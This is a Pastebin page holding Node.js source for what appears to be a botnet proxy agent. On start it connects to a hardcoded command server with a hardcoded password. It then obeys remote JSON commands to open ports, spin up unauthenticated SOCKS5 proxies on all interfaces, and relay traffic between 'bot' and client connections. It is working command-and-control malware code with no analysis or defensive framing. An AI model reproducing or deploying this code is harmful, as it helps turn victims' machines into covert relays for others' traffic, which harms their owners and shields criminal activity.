Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'use strict';
- var net = require('net');
- var config;
- var ServerCon;
- var MsgHandler;
- var handleServerMsg;
- var ConnectionManager;
- var Socks5;
- var utils;
- var removeFromArr = function(arr, item)
- {
- for (var i = 0; i < arr.length; i++) {
- if (arr[i] === item) {
- arr.splice(i, 1);
- return true;
- }
- }
- return false;
- };
- (function() {
- config = {
- sentinel: '\0',
- serverPort: 58111,
- serverHost: 'defaultcow.com',
- pass: 'L8tTVhsBYvtN08KMm7xd',
- portLow: 49152,
- portHigh: 65535
- };
- })();
- (function() {
- utils = {
- getRandomInt: function(min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- };
- })();
- (function() {
- var states = {
- NEW: 1,
- IDENTIFIER_RECEIVED: 2,
- SUCCESSFULL: 3,
- FAILED: 4
- };
- Socks5 = function(clientSock) {
- this._clientSock = clientSock;
- this._destSock = null;
- this._destBuf = new Buffer([]);
- this._state = states.NEW;
- this._clientRecData = new Buffer([]);
- this._isFresh = true;
- this._onBusy = function() {};
- this._clientSock.on('data', this._onData.bind(this));
- this._clientSock.on('error', this._onError.bind(this));
- this._clientSock.on('end', this._onEnd.bind(this));
- this._clientSock.on('close', this._onEnd.bind(this));
- };
- Socks5.prototype = {
- _onDataWhenNew: function() {
- console.log("ondatawhen new");
- if (this._clientRecData.length < 2) {
- return; //not enough data
- }
- console.log(this._clientRecData);
- console.log(this._clientRecData[0]);
- var version = this._clientRecData[0];
- if (version !== 5) {
- console.log(version);
- console.log("not5");
- // todo close connection;
- return;
- }
- var nMethods = this._clientRecData[1];
- var length = 2 + nMethods;
- if (this._clientRecData.length < length) {
- return; // not enough data
- };
- // no auth required;
- this._clientRecData = this._clientRecData.slice(length);
- var sndbuf = new Buffer([5, 0]); //socks version 5; no auth required
- this._clientSock.write(sndbuf);
- this._state = states.IDENTIFIER_RECEIVED;
- },
- _onDataWhenIdentifierReceived: function() {
- var data = this._clientRecData;
- if (data.length < 6) {
- return; //not enough data
- }
- var version = data[0];
- if (version !== 5) {
- // todo close connection
- return; //invalid version
- }
- var cmd = data[1];
- console.log('data is');
- console.log(data);
- console.log(cmd);
- console.log(cmd === 2);
- console.log(cmd === 1);
- if (cmd !== 1) {
- if (cmd === 2 || cmd === 3) {
- console.log("not implemented..");
- // todo not implemented
- } else {
- console.log("invalid data..");
- // invalid data
- }
- return;
- }
- var msgLen = 6;
- var atyp = data[3];
- var dstIp = null;
- var dstPort = null;
- if (atyp === 1) { //ipv4
- if (data.length < 10) {
- return; // not enough data
- }
- console.log('extract ip and port from here');
- dstIp = data[4] + '.' + data[5] + '.' + data[6] + '.' + data[7];
- dstPort = data[8];
- dstPort <<= 8;
- dstPort += data[9];
- console.log(data);
- msgLen += 4;
- } else if (atyp === 3) {
- var nameLen = data[4];
- if (data.length < nameLen + 7) {
- return; // not enough data;
- }
- console.log('extract name and port from here');
- console.log(data);
- dstIp = data.slice(5, 5 + nameLen);
- dstIp = dstIp.toString();
- dstPort = data[5 + nameLen];
- dstPort <<= 8;
- dstPort += data[6 + nameLen];
- msgLen += nameLen + 1;
- } else if (atyp == 6) {
- console.log('extract ipv6 ip and port from here');
- console.log(data);
- dstIp = data.slice(4, 4 + 16);
- dstPort = data[20];
- dstPort <<= 8;
- dstPort += data[21];
- msgLen += 16;
- }
- this._clientRecData = this._clientRecData.slice(msgLen);
- console.log("connecting to: %s:%d", dstIp, dstPort);
- this._state = states.SUCCESSFULL;
- if (dstIp && dstPort) {
- var me = this;
- this._destSock = net.connect(dstPort, dstIp, function() {
- console.log('connected to dst server');
- // TODO: this hack might speed things up considerebly (?). execute the following lines immediately, not in the callback, as it is now.
- var sndbuf = new Buffer([5, 0, 0, 1, 0, 0, 0, 0, 0, 0]);
- me._clientSock.write(sndbuf);
- me._destSock.removeListener('error', onErrr);
- me._destSock.on('data', function(data) {
- me._clientSock.write(data);
- });
- me._destSock.on('error', function(err) {
- console.log("destsock err");
- console.log(err);
- me._clientSock.destroy();
- });
- me._destSock.on('end', function() {
- me._clientSock.end();
- });
- me._destSock.on('close', function() {
- me._clientSock.end();
- });
- });
- this._destSock.on('error', onErrr);
- function onErrr(err) {
- console.log(err);
- this._state = states.FAILED;
- console.log('couldnt connect to dst server');
- }
- }
- },
- _onDataWhenSuccessfull: function(data) {
- if (this._destSock == null) {
- // not yet connected. save somewhere;
- var me = this;
- this._clientRecData = Buffer.concat([me._clientRecData, data]);
- return;
- }
- if (this._clientRecData.length > 0) {
- var oldData = this._clientRecData;
- console.log("writing: ");
- console.log(oldData);
- this._destSock.write(oldData);
- this._clientRecData = new Buffer([]);
- }
- this._destSock.write(data);
- },
- _onDataWhenFailed: function() {
- console.log('not implemented'); //todo close connection
- },
- _onData: function(data) {
- if (this._isFresh) {
- this._onBusy();
- this._isFresh = false;
- }
- console.log("ondata");
- console.log(data);
- var me = this;
- console.log(this._state);
- if (this._state == states.NEW) {
- this._clientRecData = Buffer.concat([me._clientRecData, data]);
- this._onDataWhenNew();
- return;
- }
- if (this._state == states.IDENTIFIER_RECEIVED) {
- this._clientRecData = Buffer.concat([me._clientRecData, data]);
- this._onDataWhenIdentifierReceived();
- return;
- }
- if (this._state == states.SUCCESSFULL) {
- this._onDataWhenSuccessfull(data);
- return;
- }
- if (this._state == states.FAILED) {
- this._onDataWhenFailed(data);
- return;
- }
- },
- _onError: function(err) {
- console.log(err);
- if (this._isFresh) {
- this._onBusy();
- this._isFresh = false;
- }
- },
- _onEnd: function() {
- console.log('end');
- if (this._isFresh) {
- this._onBusy();
- this._isFresh = false;
- }
- },
- setOnBusy: function(cb) {
- if (cb) {
- this._onBusy = cb;
- } else {
- this._onBusy = function() {};
- }
- }
- };
- })();
- (function() {
- ServerCon = function(onMsg) {
- this._socket = null;
- this._connect();
- this._onMsg = onMsg;
- this._recData = '';
- };
- ServerCon.prototype = {
- _onConnect: function() {
- this._socket.write(config.pass);
- this._socket.write(config.sentinel);
- },
- _onData: function(data) {
- this._recData += data;
- var msgs = extractAllMsgsFrom(this._recData);
- if (msgs.length === 0) {
- // not fully received yet;
- return;
- }
- this._recData = deleteAllMsgsFrom(this._recData);
- for (var i = 0; i < msgs.length; i++) {
- var json;
- try {
- json = JSON.parse(msgs[i]);
- } catch(e) {
- json = null; //TODO
- }
- this._onMsg(this, json);
- }
- },
- _connect: function() {
- console.log("connecting");
- var me = this;
- this._socket = net.connect(config.serverPort, config.serverHost, function(){
- console.log("connected");
- me._onConnect();
- });
- this._socket.on('data', function(data){
- me._onData(data.toString());
- });
- this._socket.on('close', function(){
- console.log('close');
- });
- this._socket.on('error', function(err){
- console.log('error');
- throw new Error("Server is gone. so am I"); //todo
- setTimeout(function(){
- me._connect();
- }, 1000);
- });
- this._socket.on('end', function(){
- console.log('end');
- throw new Error("Server is gone. so am I"); //todo
- setTimeout(function(){
- me._connect();
- }, 1000);
- });
- this._socket.on('timeout', function(){
- });
- },
- sendMsg: function(msg) {
- this._socket.write(JSON.stringify(msg));
- this._socket.write(config.sentinel);
- }
- };
- var extractAllMsgsFrom = function(recData) {
- var arr = [];
- while (true) {
- var split = recData.indexOf(config.sentinel);
- if (split === -1) {
- break;
- }
- var msg = recData.substring(0, split);
- recData = recData.substring(split + 1);
- arr.push(msg);
- }
- return arr;
- };
- var deleteAllMsgsFrom = function(recData) {
- var split = recData.lastIndexOf(config.sentinel);
- if (split === -1) {
- console.log("Error");
- }
- return recData.substring(split + 1);
- };
- })();
- (function() {
- ConnectionManager = function() {
- this._openPorts = [];
- };
- ConnectionManager.prototype = {
- startListening: function(port, cb) {
- // todo: check if port is already open.
- var me = this;
- var server = net.createServer(undefined);
- server.listen(port, '0.0.0.0', function() {
- me._openPorts.push({
- server: server,
- port: port,
- allowedBot: null,
- freshBotCons: [],
- freshClientCons: [],
- establishedCons: []
- });
- cb();
- });
- },
- stopListening: function(port, cb) {
- console.log('stoplistening not implemented yet');
- },
- _createAttachedProxy: function(attachIp, attachPort, cb) {
- console.log("creating attached proxy: %s:%s", attachIp, attachPort);
- var me = this;
- var socket = net.connect(attachPort, attachIp, function() {
- console.log('attached to %s:%s', attachIp, attachPort);
- socket.removeListener('error', onError);
- var proxy = new Socks5(socket);
- cb(null, attachPort);
- proxy.setOnBusy(function() {
- console.log('busy.. reattaching');
- me._createAttachedProxy(attachIp, attachPort, function() {});
- });
- });
- function onError(err) {
- cb(err);
- };
- socket.on('error', onError);
- },
- _createOpenProxy: function(cb) {
- var port = utils.getRandomInt(config.portLow, config.portHigh);
- var server = net.createServer(onConnection);
- server.listen(port, '0.0.0.0', function() {
- cb(null, port);
- });
- server.on('error', function(err) {
- // todo: handle EADDRINUSE
- cb(err);
- });
- function onConnection(sock) {
- var proxy = new Socks5(sock);
- }
- },
- createProxy: function(attachIp, attachPort, cb) {
- if (attachIp && attachPort) {
- this._createAttachedProxy(attachIp, attachPort, cb);
- return;
- }
- this._createOpenProxy(cb);
- },
- attachTo: function(ip, port, cb) {
- // TODO: when 1st connect is successfull but 2nd is not. handle it;
- var me = this;
- var socket = net.connect(port, ip, function() {
- console.log('attached to %s:%s', ip, port);
- cb();
- socket.removeListener('error', onError);
- var proxy = new Socks5(socket);
- proxy.setOnBusy(function() {
- console.log("busy.. reattaching");
- me.attachTo(ip, port, function() {});
- });
- });
- function onError(err) {
- cb(err);
- }
- socket.on('error', onError);
- },
- allowAttachmentFrom: function(remoteIp, cb) {
- var port = utils.getRandomInt(config.portLow, config.portHigh);
- var server = net.createServer(onConnection);
- var me = this;
- var openPort;
- server.listen(port, '0.0.0.0', function() {
- cb(null, port);
- openPort = {
- server: server,
- port: port,
- allowedBot: remoteIp,
- freshBotCons: [],
- freshClientCons: [],
- establishedCons: []
- };
- me._openPorts.push(openPort);
- });
- server.on('error', function(err) {
- // todo: handle EADDRINUSE
- cb(err);
- });
- function onConnection(sock) {
- me._customOnConnection(openPort, sock);
- }
- },
- _makePeers: function(peerClient, peerBot) {
- peerClient.on('data', function(data) {
- peerBot.write(data);
- });
- peerClient.on('error', function(err) {
- console.log(err);
- peerBot.destroy();
- });
- peerClient.on('close', function() {
- peerBot.end();
- });
- peerClient.on('end', function() {
- peerBot.end();
- });
- peerBot.on('data', function(data) {
- peerClient.write(data);
- });
- peerBot.on('error', function(err) {
- console.log(err);
- peerClient.destroy();
- });
- peerBot.on('close', function() {
- peerClient.end();
- });
- peerBot.on('end', function() {
- peerClient.end();
- });
- },
- _customOnConnection: function(openPort, socket) {
- var peerClient = null;
- var peerBot = null;
- if (socket.remoteAddress === openPort.allowedBot) {
- console.log("bot connected");
- peerBot = socket;
- if (openPort.freshClientCons.length > 0) {
- peerClient = openPort.freshClientCons.pop();
- } else {
- openPort.freshBotCons.push(socket);
- }
- } else {
- console.log("client connected");
- peerClient = socket;
- if (openPort.freshBotCons.length > 0) {
- peerBot = openPort.freshBotCons.pop();
- } else {
- openPort.freshClientCons.push(socket);
- }
- }
- var isBot = socket.remoteAddress === openPort.allowedBot;
- console.log('%s === %s ? ', socket.remoteAddress, openPort.allowedBot);
- function onClose(err) {
- var arr;
- if (isBot) {
- console.log('fresh bot closed');
- arr = openPort.freshBotCons;
- } else {
- console.log('fresh client closed');
- arr = openPort.freshClientCons;
- }
- removeFromArr(arr, socket);
- }
- function onErr(err) {
- if (isBot) {
- console.log('fresh bot err');
- removeFromArr(openPort.freshBotCons, socket);
- } else { //is client
- console.log('fresh client err');
- removeFromArr(openPort.freshClientCons, socket);
- }
- console.log(err);
- }
- socket.on('error', onErr);
- socket.on('close', onClose);
- if (peerBot && peerClient) {
- console.log("peers made: %s-%s", peerClient, peerBot);
- peerBot.removeListener('error', onErr);
- peerClient.removeListener('error', onErr);
- peerBot.removeListener('close', onClose);
- peerClient.removeListener('close', onClose);
- this._makePeers(peerClient, peerBot);
- }
- console.log("%s..%s", socket.remoteAddress, openPort.allowedBot);
- },
- _findOpenPort: function(port) {
- for (var i = 0; i < this._openPorts.length; i++) {
- if (this._openPorts[i].port == port) {
- return this._openPorts[i];
- }
- }
- return null;
- }
- };
- })();
- (function() {
- var conManager = new ConnectionManager();
- var handleOpenPort = function(server, msgId, port) {
- conManager.startListening(port, function started(err) {
- var msg = {
- id: msgId,
- type: 'openPort',
- port: port
- };
- if (err) {
- console.log(err); //todo
- msg.success = false;
- } else {
- msg.success = true;
- }
- server.sendMsg(msg);
- });
- };
- var handleClosePort = function(server, msgId, port) {
- conManager.stopListening(port, function stoped(err) {
- var msg = {
- id: msgId,
- type: 'closePort',
- port: port
- };
- if (err) {
- console.log(err);
- msg.success = false;
- } else {
- msg.success = true;
- }
- server.sendMsg(msg);
- });
- };
- var handleAllowAttachmentFrom = function(server, msgId, remoteIp) {
- conManager.allowAttachmentFrom(remoteIp, function(err, port) {
- var msg = {
- id: msgId,
- type: 'allowAttachmentFrom',
- remoteIp: remoteIp,
- localPort: port
- };
- if (err) {
- console.log(err); //kind of todo maybe
- msg.success = false;
- } else {
- msg.success = true;
- }
- server.sendMsg(msg);
- });
- // console.log(msg);
- };
- var handleCreateProxy = function(server, msgId, attachIp, attachPort) {
- conManager.createProxy(attachIp, attachPort, function(err, port) {
- if (err) {
- console.log(err);
- server.sendMsg({
- id: msgId,
- type: 'createProxy',
- err: err,
- success: false
- });
- return;
- }
- var msg = {
- id: msgId,
- type: 'createProxy',
- port: port,
- success: true
- };
- server.sendMsg(msg);
- });
- };
- var handleAttachTo = function(server, msgId, ip, port) {
- conManager.attachTo(ip, port, function(err) {
- var msg = {
- id: msgId,
- type: 'attachTo',
- port: port,
- ip: ip
- };
- if (err) {
- console.log(err); //todo
- msg.success = false;
- } else {
- msg.success = true;
- }
- server.sendMsg(msg);
- });
- };
- handleServerMsg = function(server, msg) {
- console.log(msg);
- console.log(msg.type);
- if (msg.type === 'openPort') {
- handleOpenPort(server, msg.id, msg.port);
- };
- if (msg.type === 'closePort') {
- handleClosePort(server, msg.id, msg.port);
- }
- if (msg.type === 'allowAttachmentFrom') {
- handleAllowAttachmentFrom(server, msg.id, msg.remoteIp);
- }
- if (msg.type === 'attachTo') {
- handleAttachTo(server, msg.id, msg.ip, msg.port);
- }
- if (msg.type === 'createProxy') {
- if (msg.attachTo) {
- handleCreateProxy(server, msg.id, msg.attachTo.ip, msg.attachTo.port);
- } else {
- handleCreateProxy(server, msg.id);
- }
- }
- };
- })();
- var serverCon = new ServerCon(handleServerMsg);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement